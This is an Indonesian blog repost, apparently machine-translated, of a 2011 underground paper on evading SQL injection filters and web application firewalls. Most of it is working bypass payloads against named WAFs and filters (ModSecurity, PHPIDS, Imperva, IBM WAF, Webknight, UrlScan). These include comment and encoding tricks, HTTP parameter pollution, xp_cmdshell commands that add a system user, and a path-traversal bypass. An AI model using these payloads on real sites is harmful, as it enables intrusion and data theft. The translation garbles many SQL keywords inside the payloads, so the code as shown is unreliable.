fb

Selamat Datang di Facebook - Masuk, Daftar atau Pelajari Selengkapnya

Kamis, 15 Desember 2011

toturial 6

Selain SQLi: mengaburkan dan Bypass
|=------------------------------------------------ --------------------=|Selain |=--------------=[ SQLi: mengaburkan dan Bypass ]=---------------=||=-------------------------=[ 6 Oktober 2011 ]=---------------- -------=||=----------------------=[ Dengan Underground CWH ]=------------------- -= ||=------------------------------------------------ --------------------=|

######
 
Info######
Judul: Beyond SQLi: mengaburkan dan BypassAuthor: "ZeQ3uL" (Prathan Phongthiproek) dan "Suphot Boonchamnan"Tim: CWH Underground [http://www.exploit-db.com/author/?a=1275]Tanggal: 2011/10/06

##########
 
Isi##########

  
[0x00] - Pendahuluan

  
[0x01] - Evasion Filter (Mysql)
[0x01a] - Fungsi Bypass dan Kata Kunci Penyaringan[0x01b] - Ekspresi Reguler Bypass Penyaringan

  
[0x02] - Biasanya Melewati Teknik

  
[0x03] - Melewati Teknik Lanjutan
[0x03a] - HTTP Parameter Pencemaran: Split dan Join[0x03b] - HTTP Parameter Kontaminasi
 
  
[0x04] - Bagaimana melindungi situs Anda

  
[0x05] - Kesimpulan

  
[0x06] - Referensi

  
[0x07] - Greetz Untuk

#######################
 
[0x00] - Pendahuluan#######################
Selamat datang pembaca, makalah ini merupakan upaya panjang di mendokumentasikan injeksi SQL canggih kami telah bekerja pada.Makalah ini akan mengungkapkan melewati canggih dan teknik pengaburan yang banyak dari mereka dapat digunakan dalam CMSS nyata dan WAFS. Laporan injeksi SQL yang diusulkan dalam makalah ini adalah beberapa cara untuk memotong perlindungan.Masih ada beberapa teknik lain dapat digunakan untuk aplikasi web serangan tapi sayangnya kami tidak bisa memberitahu Anda sekarang, karena disimpan sebagai serangan 0-hari. Namun, makalah ini bertujuan untuk menunjukkan bahwa tidak ada sistem benar-benar amandi dunia nyata meskipun Anda menghabiskan lebih dari 300.000 USD pada suatu WAF.
Tulisan ini dibagi menjadi 7 bagian, tapi hanya dari bagian ke 0x03 0x01 sekitar informasi teknis.
0x01 Pasalnya, kami memberikan rincian tentang bagaimana untuk bypass filter termasuk dasar, fungsi dan kata kunci.0x02 Pasalnya, kami menawarkan biasanya melewati teknik untuk bypass WAF OpenSource dan Komersial.Bagian 0x03, kita berbicara dalam mendalam teknik melewati Lanjutan yang terpisah menjadi 2 bagian, "HTTP Kontaminasi Parameter".dan "Polusi HTTP: Split dan Join". Bagian 0x04, kita panduan untuk melindungi situs Anda sendiri pada solusi yang tepat.Bagian terakhir, 0x05, Ini kesimpulan dari Bagian 0x01-0x04.

#################################
 
[0x01] - Evasion Filter (Mysql)#################################
Bagian ini akan menggambarkan perilaku penghindaran filter berdasarkan PHP dan MySQL dan bagaimana untuk memotong penyaringan. Evasion Filter adalah teknik yang digunakan untuk mencegah serangan injeksi SQL. Teknik ini dapat dilakukan dengan menggunakan fungsi SQL dan kata kunci penyaringan atau ekspresi reguler.Ini berarti bahwa penghindaran menyaring sangat bergantung pada bagaimana menyimpan daftar hitam atau ekspresi reguler. Jika daftar hitam atau ekspresi reguler tidak mencakup setiap skenario injeksi, aplikasi web masih rentan terhadap serangan SQL Injection.
++++++++++++++++++++++++++++++++++++++++++++++++++ +[0x01a] - Fungsi Bypass dan Kata Kunci Penyaringan++++++++++++++++++++++++++++++++++++++++++++++++++ +
Fungsi dan kata kunci penyaringan mencegah aplikasi web dari diserang dengan menggunakan fungsi dan kata kunci daftar hitam. Jika penyerang menyampaikan kode injeksi yang mengandung kata kunci atau fungsi SQL dalam daftar hitam, injeksi akan berhasil.Namun, jika penyerang mampu memanipulasi injeksi dengan menggunakan kata kunci atau fungsi lain, daftar hitam akan gagal untuk mencegah serangan. Dalam rangka untuk mencegah serangan, sejumlah kata kunci dan fungsi harus dimasukkan ke dalam daftar hitam. Namun, ini mempengaruhi penggunaketika pengguna ingin mengirimkan input dengan kata dalam daftar hitam. Mereka akan dapat menyampaikan masukan karena sedang disaring oleh daftar hitam. Skenario berikut menunjukkan kasus menggunakan fungsi dan kata kunci penyaringan dan teknik melewati.

Kata Kunci Filer: dan, atau-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau) / i', $ id)
THe kata kunci dan, atau biasanya digunakan sebagai tes sederhana untuk menentukan apakah sebuah aplikasi web yang rentan terhadap serangan SQL Injection. Berikut ini adalah bypass sederhana menggunakan & &, | | bukan dan, atau masing-masing.
Difilter injeksi: 1 atau 1 = 1 1 dan 1 = 1Dilewati injeksi: 1 | | 1 = 1 1 & & 1 = 1-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat) / i', $ id)
Serikat kata kunci umumnya digunakan untuk menghasilkan sebuah pernyataan berbahaya dalam rangka untuk memilih data tambahan dari database.
Difilter injeksi: serikat pilih pengguna, kata sandi dari penggunaInjeksi dilewati: 1 | | (pengguna pilih dari pengguna dimana user_id = 1) = 'admin'
** Catatan: Anda harus tahu nama tabel, nama kolom dan beberapa data dalam tabel, jika tidak, anda harus mendapatkannya dari meja information_schema.columns menggunakan pernyataan lainnyamisalnya menggunakan fungsi substring untuk mendapatkan setiap karakter dari nama tabel.-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat pekerja, di mana-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana) / i', $ id)Injeksi disaring: 1 | | (pengguna pilih dari pengguna dimana user_id = 1) = 'admin'Dilewati injeksi: 1 | | (pengguna memilih dari membatasi pengguna 1) = 'admin'-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas) / i', $ id)Difilter injeksi: 1 | | (pengguna memilih dari membatasi pengguna 1) = 'admin'Dilewati injeksi: 1 | | (pengguna memilih dari kelompok pengguna dengan user_id = user_id memiliki 1) = 'admin'-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok oleh-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh) / i', $ id)Difilter injeksi: 1 | | (pengguna memilih dari kelompok pengguna dengan user_id = user_id memiliki 1) = 'admin'Dilewati injeksi: 1 | | (pilih substr (gruop_concat (user_id), 1,1) pengguna dari pengguna) = 1-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok oleh, pilih-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih) / i', $ id)Difilter injeksi: 1 | | (pilih substr (gruop_concat (user_id), 1,1) pengguna dari pengguna) = 1Injeksi dilewati: 1 | | 1 = 1 menjadi 'result.txt' outfileInjeksi dilewati: 1 | | substr (pengguna, 1,1) = 'a'-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, '-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \') / i ', $ id)Difilter injeksi: 1 | | (pilih substr (gruop_concat (user_id), 1,1) pengguna dari pengguna) = 1Dilewati injeksi: 1 | | user_id tidak nullDilewati injeksi: 1 | | substr (pengguna, 1,1) = 0x61Dilewati injeksi: 1 | | substr (pengguna, 1,1) = unhex (61)-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, ', hex-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \' | hex) / i ', $ id)Difilter injeksi: 1 | | substr (pengguna, 1,1) = unhex (61)Dilewati injeksi: 1 | | substr (pengguna, 1,1) = rendah (conv (11,10,36))-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, ", hex, substr-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \' | hex | substr) / i ', $ id)Difilter injeksi: 1 | | substr (pengguna, 1,1) = rendah (conv (11,10,36))Dilewati injeksi: 1 | | LPAD (pengguna, 7,1)-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, ", hex, substr, putih ruang-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \' | hex | substr | \ s) / i ', $ id)Difilter injeksi: 1 | | LPAD (pengguna, 7,1)Dilewati injeksi: 1% 0b | |% 0blpad (pengguna, 7,1)-------------------------------------------------- --------------------

Dari contoh di atas, dapat dilihat bahwa ada sejumlah pernyataan SQL yang digunakan untuk melewati daftar hitam meskipun daftar hitam berisi banyak kata kunci dan fungsi.Selain itu, ada pernyataan SQL besar, yang tidak pada contoh yang disebutkan, yang dapat digunakan untuk memotong daftar hitam.
Membuat daftar hitam yang lebih besar adalah bukan ide yang baik untuk melindungi situs Anda sendiri. Ingat, kata kunci yang lebih dan fungsi penyaringan, pengguna kurang bersahabat.

+++++++++++++++++++++++++++++++++++++++++++++++[0x01b] - Ekspresi Reguler Bypass Penyaringan+++++++++++++++++++++++++++++++++++++++++++++++
Penyaringan ekspresi reguler adalah solusi yang lebih baik untuk mencegah injeksi SQL dari kata kunci dan fungsi penyaringan karena digunakan pencocokan pola untuk mendeteksi serangan. Hari pengguna diperbolehkan untuk mengirimkan input lebih fleksibel untuk server.Namun, ekspresi reguler banyak juga dapat dilewati. Contoh berikut menggambarkan script injeksi yang digunakan untuk memotong ekspresi reguler di PHPIDS OpenSource 0,6.
PHPIDS umumnya blok masukan mengandung = atau (atau 'berikut dengan string atau bilangan bulat misalnya 1 atau 1 = 1, 1 atau '1', 1 atau char (97). Namun, dapat dilewati dengan menggunakan pernyataan yang tidak mengandung =, (atau 'simbol.
[Kode ]----------------------------------------------- ----------------disaring injeksi: 1 atau 1 = 1Dilewati injeksi: 1 atau 1[Akhir Kode ]---------------------------------------------- -------------
[Kode ]----------------------------------------------- ----------------disaring injeksi: 1 union select 1, table_name dari information_schema.tables mana table_name = 'user'disaring injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel antara 'a' dan 'z'disaring injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel antara char (97) dan char (122)Dilewati injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel antara 0x61 dan 0x7ADilewati Injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel seperti 0x7573657273[Akhir Kode ]---------------------------------------------- -------------


########################################
 
[0x02] - Biasanya Melewati Teknik########################################
Pada bagian ini, kita menyebutkan tentang teknik untuk memotong Firewall Aplikasi Web (WAF). Hal pertama yang Anda perlu tahu apa yang WAF?
Sebuah aplikasi web firewall (WAF) adalah sebuah alat, plugin server, atau filter yang menerapkan seperangkat aturan untuk percakapan HTTP.Umumnya, aturan-aturan ini mencakup serangan umum seperti Cross-site Scripting (XSS) dan SQL Injection. Dengan menyesuaikan aturan untuk aplikasi Anda,banyak serangan dapat diidentifikasi dan diblokir. Upaya untuk melakukan kustomisasi ini dapat signifikan dan perlu dipertahankan sebagai aplikasi tersebut dimodifikasi.WAFS sering disebut coz 'Firewall Packet Inspection Jauh' mereka melihat setiap permintaan dan respon dalam HTTP / HTTPS / SOAP / XML-RPC / layanan Web lacers.Beberapa WAF modern sistem bekerja baik dengan tanda tangan menyerang dan perilaku abnormal.
Sekarang batu Mari kita untuk memahami Bagaimana dengan mengaburkan pelanggaran, Semua WAFS dapat dilewati dengan waktu untuk memahami peraturan mereka atau menggunakan imajinasi Anda!

1. Bypass dengan Komentar
Komentar SQL memungkinkan kita untuk memotong banyak penyaringan dan WAFS.
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+un/ ** / ion + se / ** / lect +1,2,3 -[Akhir Kode ]---------------------------------------------- -------------

2. Kasus Mengubah
Beberapa filter yang hanya WAFS kata kunci huruf kecil SQL.
Regex Filter: / serikat \ sselect / g
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+UnIoN/ ** / select / ** / 1,2,3 -[Akhir Kode ]---------------------------------------------- -------------

3. Diganti kata kunci
Beberapa aplikasi dan WAFS menggunakan preg_replace untuk menghapus semua kata kunci SQL. Jadi kita bisa bypass dengan mudah.
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1 ,2,3 -[Akhir Kode ]---------------------------------------------- -------------
Beberapa kasus kata kunci SQL disaring keluar dan digantikan dengan spasi. Jadi kita dapat menggunakan "% 0b" untuk memotong.
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+uni% 0bon + se% 0blect +1,2,3 -[Akhir Kode ]---------------------------------------------- -------------
Untuk Mod_rewrite, Komentar "/**/" tidak bisa dilewati. Jadi kita menggunakan "0b%" ganti "/**/".
Terlarang:. Http://victim.com/main/news/id/1/ **/||/**/ LPAD (first_name, 7,1) htmlMelewati:.% Http://victim.com/main/news/id/1 0b | |% 0blpad (first_name, 7,1) html


4. Pengkodean karakter
Kebanyakan CMSS dan WAFS akan decode dan filter / memotong input aplikasi, tetapi beberapa hanya WAFS decode masukan sekali sehinggapengkodean ganda dapat mem-bypass filter tertentu sebagai WAF akan decode masukan sekali kemudian saring sementara aplikasi tetapdecoding mengeksekusi pernyataan SQL

http://victim.com/news.php?id=1% 252F% 252a * / serikat% 252a% 252F /%% 252F 252a pilih * / 1,2,3% 252F% 252a * / dari% 252F% 252a * / pengguna -[Akhir
Selain itu, teknik ini dapat menggabungkan untuk memotong Citrix NetScaler- Hapus semua "NULL" kata- Encoding Gunakan query di beberapa bagian- Hapus karakter kutip tunggal "'"- Dan Bersenang-senang!Kredit: Wendel Guglielmetti Henrique
dan "Armorlogic Profense" sebelum 2.4.4 telah dilewati oleh URL-encoded karakter newline.

# Contoh Nyata Dunia
1. NukeSentinel (Nuke Evolusi)
[Nukesentinel.php Kode ]-------------------------------------------- ----------------/ / Periksa UNION serangan/ / Copyright 2004 (c) Raven PHP Script$ Blocker_row = $ blocker_array [1];if ($ blocker_row ['mengaktifkan']> 0) {
 
if (stristr ($ nsnst_const ['QUERY_STRING'],'+ serikat +') ATAU \stristr ($ nsnst_const ['QUERY_STRING 20union%'],'% 20') ATAU \stristr ($ nsnst_const ['QUERY_STRING'],'*/ serikat / *') ATAU \stristr ($ nsnst_const ['QUERY_STRING'], 'persatuan') ATAU \stristr ($ nsnst_const ['query_string_base64'],'+ serikat +') ATAU \stristr ($ nsnst_const ['query_string_base64 20union%'],'% 20') ATAU \stristr ($ nsnst_const ['query_string_base64'],'*/ serikat / *') ATAU \stristr ($ nsnst_const ['query_string_base64'], 'persatuan')) {/ / block_ip ($ blocker_row);mati ("BLOK IP 1");}}[Akhir Kode ]---------------------------------------------- ---------------------------
Kita dapat melewati penyaringan mereka dengan script ini:
Terlarang:?? Http://victim.com/php-nuke/?/ ** / serikat / ** / pilih ..Dilewati:% 2A http://victim.com/php-nuke/?/% 2A/union /% 2A 2A/select%??Dilewati:? Http://victim.com/php-nuke/% 2f%% 2funion ** **% 2f 2fselect??

2. Mod Keamanan CRS (Kredit: Johannes Dahse)
[SecRule ]----------------------------------------------- ---------------------------SecRule REQUEST_FILENAME | ARGS_NAMES | args | XML: / * "? \ Bunion \ b. {1.100} \ bselect \ b" \ "phase2, rev: '2 .2.1 ', menangkap, t: tidak ada,
msg: "Serangan SQL Injection ', id: '959047', tag: 'WEB_ATTACK / SQL_INJECTION', tag: 'WASCTC/WASC-19', tag: 'OWASP_TOP_10/A1',

setvar:. tx% {} rule.id -WEB_ATTACK/SQL_INJECTION-% {} = matched_var_name% {tx.0} "[Aturan Akhir ]---------------------------------------------- ---------------------------
Kita dapat melewati penyaringan mereka dengan kode ini:
[Kode ]----------------------------------------------- -------------------------------
[Akhir Kode ]---------------------------------------------- ----------------------------
Dari serangan ini, Kami dapat mem-bypass aturan Mod Keamanan. Mari melihat apa yang terjadi!!
MySQL Server mendukung 3 gaya komentar:- Dari karakter "#" ke akhir baris- Dari "-" urutan ke akhir baris- Dari urutan / * ke * berikut / urutan, seperti dalam bahasa pemrograman C.Sintaks ini memungkinkan komentar untuk memperpanjang lebih dari beberapa baris karena urutan awal dan menutup kebutuhantidak pada baris yang sama.
Contoh berikut ini, Kami menggunakan "% 0A% 0D" sebagai karakter baris baru. Mari kita lihat pada permintaan pertama (untuk mengekstrak user DB)Payload SQL yang dihasilkan tampak seperti ini:
0 div 1 serikat # foo * / * / barpilih # foo1,2, CURRENT_USER
Namun muatan SQL, ketika dieksekusi oleh MySQL DB, tampak sesuatu seperti ini:
0 div 1 union select 1,2, CURRENT_USER

5. Buffer Overflow
WAFS yang ditulis dalam bahasa C rentan terhadap overflow atau bertindak berbeda ketika dimuat dengan sekelompok data.Berikan sejumlah besar data memungkinkan kode kita mengeksekusi
[Kode ]----------------------------------------------- -------------------------------http://victim.com/news.php?id=1+and+ (pilih 1) = (pilih 0x414141414141441414141414114141414141414141414141414141414141414141 ??.)+ serikat + pilih +1,2, versi (), database (), user () ,6,7,8,9,10 -[Akhir Kode ]---------------------------------------------- ----------------------------

6. Inline Komentar (Mysql Hanya)
Dari MySQL 5.0 Reference Manual, MySQL Server mendukung beberapa varian C-gaya komentar. Ini memungkinkan Anda untuk menuliskode yang mencakup ekstensi MySQL, tapi masih portabel, dengan menggunakan komentar-komentar dari formulir berikut:
/ *! MySQL-kode khusus * /
Dalam hal ini, MySQL Server mem-parsing dan mengeksekusi kode dalam komentar karena akan pernyataan SQL lain,tapi lain SQL server akan mengabaikan ekstensi.
Banyak WAFS SQL kata kunci filter seperti / serikat \ sselect \ ig Kita dapat melewati filter ini dengan menggunakan inline komentar.
[Kode ]----------------------------------------------- -------------------------------http://victim.com/news.php?id=1/ * UNION * / Pilih +1,2,3! -[Akhir Kode ]---------------------------------------------- ----------------------------
Komentar inline dapat digunakan di seluruh pernyataan SQL jadi jika nama_tabel atau information_schema yang disaring kita dapatmenambahkan komentar inline lebih
[Kode ]----------------------------------------------- -------------------------------
/ * Dimana */+/*! TaBlE_sChEMa * / + seperti + database ()! -[Akhir Kode ]---------------------------------------------- ----------------------------


########################################
 
[0x03] - Melewati Teknik Lanjutan########################################
Pada bagian ini, kami menawarkan 2 teknik yang "Polusi HTTP: Split dan Join" dan "HTTP Kontaminasi Parameter".Dari teknik ini dapat memotong banyak firewall aplikasi Web OpenSource dan Komersial (WAF)
    
     
++++++++++++++++++++++++++++++++++++++++++++++++++ + +[0x03a] - HTTP Parameter Pencemaran: Split dan Join++++++++++++++++++++++++++++++++++++++++++++++++++ + +
Polusi HTTP adalah kelas baru kerentanan injeksi oleh Luca Carettoni dan Stefano Di Paola. HPP adalah cukup sederhana namunefektif teknik hacker. Serangan HPP dapat didefinisikan sebagai kelayakan untuk menimpa atau menambahkan HTTP GET / POST parameter dengan menyuntikkanstring kueri.
Contoh dari HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"
HTTP Parameter Penanganan: (Contoh)
+------------------------------------------------- -----------------+| Web Server | Parameter Interpretasi | Contoh |+------------------------------------------------- -----------------+| ASP.NET / IIS | konkatenasi dengan koma | par1 = VAL1, VAL2 || ASP / IIS | konkatenasi dengan koma | par1 = VAL1, VAL2 || PHP / Apache | The param terakhir adalah dihasilkan | par1 = VAL2 || JSP / Tomcat | The param pertama adalah yang dihasilkan | par1 = VAL1 || Perl / Apache | The param pertama adalah yang dihasilkan | par1 = VAL1 || DBMan | konkatenasi oleh dua tildes | par1 = VAL1 ~ ~ VAL2 |+------------------------------------------------- -----------------+
Apa yang akan terjadi dengan WAFS yang parsing String Query sebelum menerapkan filter? (HPP dapat digunakan bahkan untuk memotong WAFS)Beberapa WAFS longgar dapat menganalisis dan memvalidasi kejadian parameter tunggal saja (yang pertama atau terakhir). Setiap kali kesepakatan lingkungan concatenatesbeberapa kejadian (ASP, ASP.NET, DBMan,??) agresor dapat membagi payload jahat.
Dalam uji penetrasi terakhir (lagi), kami mampu memotong SecureSphere Imperva menggunakan "HPP + Komentar Inline" pada ASP / ASP.NET lingkungan.Teknik ini dapat memotong WAFS Komersial lain juga. Informasi lebih lanjut tentang "HPP + Komentar Inline" ditunjukkan di bawah ini:

# Contoh Nyata Dunia:
1. Mod Keamanan CRS (Kredit: Lavakumar Kuppan)
Permintaan berikut pertandingan melawan CRS ModSecurity sebagai serangan SQL Injection dan diblokir.
Terlarang: http://victim.com/search.aspx?q=select nama, password dari pengguna
Ketika muatan yang sama dibagi terhadap beberapa parameter dari ModSecurity nama yang sama gagal untuk blok itu.
Dilewati: http://victim.com/search.aspx?q=select nama & q = password dari pengguna

Mari kita lihat apa yang terjadi, penafsiran ModSecurity adalah
q = pilih namaq = password dari pengguna
ASP / ASP.NET 's interpretasiq = pilih nama, password dari pengguna
* Tips: Serangan ini dapat dilakukan pada variabel POST dengan cara yang sama

2. Komersial WAFS
Terlarang: http://victim.com/search.aspx?q=select nama, password dari pengguna
Sekarang kita menggunakan HPP + Inline komentar untuk memotong itu.
Dilewati: http://victim.com/search.aspx?q=select/ * & q =* / nama & q = password / * & q =* / dari / * & q =* / pengguna

Menganalisis, interpretasi WAF adalah
q = pilih / *q =* / namaq = password / *q =* / dari / *q =* / pengguna
ASP / ASP.NET 's interpretasiq = pilih /*,*/ nama, password /*,*/ dari pengguna /*,*/q = pilih nama, password dari pengguna

3. IBM Web Application Firewall (Kredit: Wendel Guglielmetti Henrique dari Trustwave yang SpiderLabs)
Terlarang:?? Http://victim.com/news.aspx?id=1 '; EXEC menguasai .. xp_cmdshell bersih pengguna zeq3ul UrWaFisShiT / tambahkan?? -
Sekarang kita menggunakan HPP + Inline komentar untuk memotong itu.
Dilewati: http://victim.com/news.aspx?id=1 '; / * & id = 1 * / EXEC / * & id = 1 * / master .. xp_cmdshell / * & user id = 1 * / net lucifer?? UrWaFisShiT?? / * & Id = 1 * / -

Menganalisis, interpretasi WAF adalah
id = 1;?? / *id = 1 * / EXEC / *id = 1 * / master .. xp_cmdshell / *id = 1 * /? bersih pengguna zeq3ul UrWaFisShiT??? / *id = 1 * / -
ASP / ASP.NET 's interpretasiid = 1;???? / *, 1 * / EXEC / *, 1 * / master .. xp_cmdshell / *, 1 * / net pengguna zeq3ul UrWaFisShiT?? / *, 1 * / -id = 1;???? EXEC menguasai .. xp_cmdshell bersih pengguna zeq3ul UrWaFisShiT?? -

Mitigasi termudah untuk serangan ini akan menjadi untuk WAF untuk melarang beberapa contoh dari parameter yang sama dalam permintaan HTTP tunggal.Ini akan mencegah semua variasi serangan ini.Namun ini mungkin tidak mungkin dalam semua kasus karena beberapa aplikasi mungkin memiliki kebutuhan yang sah untuk parameter beberapa duplikat.Dan mereka mungkin dirancang untuk mengirim dan menerima beberapa parameter HTTP nama yang sama di request.To sama melindungi aplikasi ini WAF yangjuga harus menafsirkan permintaan HTTP dengan cara yang sama aplikasi web akan.

++++++++++++++++++++++++++++++++++++++++[0x03b] - HTTP Parameter Kontaminasi++++++++++++++++++++++++++++++++++++++++
HTTP Parameter Kontaminasi (HPC) Ide asli berasal dari pendekatan inovatif yang ditemukan dalam penelitian HPP olehmengeksplorasi lebih dalam dan mengeksploitasi perilaku aneh dalam komponen Web Server, Aplikasi Web dan Browser sebagai hasil dari query stringParameter kontaminasi dengan karakter dilindungi atau non mengharapkan.
Beberapa fakta:
     
- String Query Istilah umumnya digunakan untuk merujuk ke bagian antara "?" dan akhir URI- Seperti didefinisikan dalam RFC 3986, itu adalah serangkaian lapangan pasangan nilai- Pasangan dipisahkan oleh "&" atau ";"- RFC 2396 mendefinisikan dua kelas karakter:Ditunjukkan oleh: a-z, A-Z, 0-9 dan _. ! ~ * '()Dilindungi:; /? : @ & = + $,Bijaksana: {} | \ ^ [] `
Server web yang berbeda memiliki logika yang berbeda untuk memproses permintaan dibuat khusus. Ada lebih web server, platform backend dan kombinasi karakter khusus,tapi kami akan berhenti di sini saat ini.
Query string dan Web server respon (Contoh)
+------------------------------------------------- ----------+| String Query | Web Server respon / GET nilai |+------------------------------------------------- ----------+| | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |+------------------------------------------------- ----------+|? Tes [1 = 2 | test_1 = 2 | tes [1 = 2 ||? Test =% | test =% | test = || Tes% 00 = 1 |? Test = 1 | test = 1 ||? Test = 1% 001 | NULL | test = 1 ||? Tes + d = 1 +2 | test_d = 1 2 | tes d = 1 2 |+------------------------------------------------- ----------+
Karakter "%" ajaib mempengaruhi untuk ASP / ASP.NET
+------------------------------------------------- -------------------+| Keywords | WAF | ASP / ASP.NET |+------------------------------------------------- -------------------+| Sele% ct * fr om ..% | Sele% ct * fr om ..% | Pilih * dari .. ||; Dr% op ta ble% xxx |; dr% op ta ble% xxx |; setetes xxx tabel || <scr%ipt> | <scr%ipt> | <script> || <if%rame> | <if%rame> | <iframe> |+------------------------------------------------- -------------------+

# Contoh dunia nyata:
1. Bypass mod_security SQL Injection aturan (modsecurity_crs_41_sql_injection_attacks.conf)
[Difilter ]----------------------------------------------- -----------------------------------
[Sun 12 Jun 2011 00:30:16] [error] [client 192.168.2.102] ModSecurity: Akses ditolak dengan kode 403 (fase 2). Cocok dengan pola "\ \ bsys \ \. User_objects \ \ b"di ARGS_NAMES: sys.user_objects. [File "/ etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [garis "110"] [id "959519"][Rev "2.2.0"] [msg "Buta SQL Injection Serangan"] [data "sys.user_objects"] [keparahan "KRITIS"] [tag "WEB_ATTACK / SQL_INJECTION"] [tag "WASCTC/WASC-19"][Tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]
[Akhir Kode ]---------------------------------------------- --------------------------------
Terlarang: http://localhost/?xp_cmdshellDilewati: http://localhost/?xp [cmdshell
2. Bypass UrlScan 3.1 aturan DenyQueryStringSequences
Terlarang: http://localhost/test.asp?file=../bla.txtDilewati: http://localhost/test.asp?file =.%./ bla.txt
3. Bypass AQTRONIX Webknight (WAF untuk IIS dan ASP / ASP.Net)
Terlarang: http://victim.com/news.asp?id=10 dan 1 = 0 / (pilih top 1 table_name from information_schema.tables)Melewati: http://victim.com/news.asp?id=10 nd% 1 = 0 / (se% lect atas 1 ta% ble_name fr% rmation_schema.tables Info% om)
Dari situasi ini, Webknight menggunakan kata kunci SQL penyaringan ketika kita menggunakan "kontaminasi HTTP" dengan memasukkan "%" menjadi kata kunci SQL WAF dilewati dan mengirim iniperintah ke server Web: "id = 10 dan 1 = 0 / (pilih top 1 table_name dari information_schema.tables)" karena "%" adalah pemotong di server web.

Jenis teknik hacking selalu menarik karena mereka mengungkapkan perspektif baru tentang masalah keamanan.Banyak aplikasi yang ditemukan rentan terhadap penyalahgunaan semacam ini karena tidak ada aturan yang ditetapkan untuk perilaku web server yang aneh.HPC dapat digunakan untuk memperluas serangan spoofing HPP dengan nama parameter nyata dalam QUERY_STRING dengan karakter "%" pada platform IIS / ASP,jika ada yang WAF blok semacam ini serangan.


######################################
 
[0x04] - Bagaimana melindungi situs Anda######################################
- Melaksanakan Software Development Life Cycle (SDLC)- Coding Aman: Validasi semua input dan output- PenTest sebelum secara online- Harden it!- Tinjau ulang PenTest- Menyebarkan WAF (Untuk Opsional)- Selalu periksa patch yang WAF

#####################
 
[0x05] - Kesimpulan#####################
 
- WAFS tidak lama diharapkan- Ini keterbatasan fungsional, WAF tidak dapat melindungi aplikasi web dari semua kerentanan yang mungkin- Ini diperlukan untuk beradaptasi menyaring WAF ke aplikasi web tertentu diproteksi- WAF tidak menghilangkan kerentanan, Itu hanya sebagian layar vektor serangan

#####################
 
[0x06] - Referensi#####################
[1] WAF Bypass: SQL Injection - Kyle[2] http://cwe.mitre.org/data/definitions/98.html[3] HTTP Parameter Pencemaran - Ivan Markovic NSS[4] Split dan Gabung - Lavakumar Kuppan[5] HTTP Parameter Polusi - Luca Carettoni dan Stefano di Paola[6] blog.spiderlabs.com

####################
 
[0x07] - Greetz Untuk####################
Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2Khusus Thx: Exploit-db.com

-------------------------------------------------- -Tujuan pengungkapan kita tidak membantu produk keamanan tetapi perlu untuk mengungkapkan kotoran mereka.Keamanan Produk tidak bisa 100% melindungi dari config sialan / coding dari admin.Hanya perlu waktu dan imajinasi untuk pelanggaran itu!!-------------------------------------------------- -

Tidak ada komentar:

Posting Komentar